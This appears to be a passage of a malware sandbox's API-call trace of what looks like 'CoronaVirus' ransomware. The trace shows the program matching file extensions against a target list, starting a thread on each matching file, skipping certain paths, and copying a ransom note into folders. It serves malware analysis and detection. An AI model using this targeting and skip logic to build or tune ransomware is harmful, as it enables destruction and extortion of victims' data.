	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.885] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0079.885] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0079.886] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.886] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0079.886] malloc (_Size=0x1000) returned 0x2f16298
	[0079.886] _swprintf (in: param_1=0x2f16298, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0079.886] wcsstr (_Str="C:\\588bce7c90097ed212\\1030\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0079.886] wcsstr (_Str="C:\\588bce7c90097ed212\\1030\\eula.rtf", _SubStr="wasse") returned 0x0
	[0079.887] wcsstr (_Str="C:\\588bce7c90097ed212\\1030\\eula.rtf", _SubStr="passw") returned 0x0
	[0079.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f16298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0079.889] SetThreadPriority (hThread=0x42c, nPriority=15) returned 1
	[0079.892] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0079.892] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0079.892] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0079.892] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.892] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0079.892] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.893] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0079.893] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.893] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0079.901] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.901] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0079.902] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.902] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0079.902] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.902] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0079.902] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.902] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0079.905] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.905] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0079.905] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.905] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0079.905] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.905] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0079.905] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.905] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0079.905] malloc (_Size=0x1000) returned 0x2f16298
	[0079.906] _swprintf (in: param_1=0x2f16298, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0079.906] wcsstr (_Str="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0079.906] wcsstr (_Str="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0079.906] wcsstr (_Str="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0079.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f16298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0079.906] SetThreadPriority (hThread=0x430, nPriority=15) returned 1
	[0079.908] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0079.908] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0079.908] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0079.908] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.908] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.908] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.908] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0079.908] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.908] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0079.908] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.908] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0079.908] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.908] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0079.908] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.914] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0079.914] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.915] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0079.915] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.915] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0079.915] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.926] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0079.926] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.927] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0079.927] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.928] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.928] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0079.928] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0079.929] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1
	[0079.929] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1
	[0079.929] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0079.929] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0079.929] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1031") returned 26
	[0079.929] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0079.929] wcsstr (_Str="C:\\588bce7c90097ed212\\1031", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.929] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0080.054] _alloca_probe () returned 0x4036d0
	[0080.054] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1031", lpFilePart=0x316583c*="1031") returned 0x1a
	[0080.054] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe912066d, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0080.054] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0080.054] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe912066d, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.054] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0080.054] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe912066d, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe912066d, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0080.054] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0080.054] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0080.054] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.054] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0080.054] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.054] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0080.054] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.055] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.055] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.055] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.055] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0080.055] malloc (_Size=0x1000) returned 0x2f10048
	[0080.055] _swprintf (in: param_1=0x2f10048, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\CoronaVirus.txt") returned 42
	[0080.055] wcsstr (_Str="C:\\588bce7c90097ed212\\1031\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0080.055] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0080.055] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0080.055] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0080.055] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.055] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.055] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.055] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.055] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.055] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.055] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0080.055] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.055] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
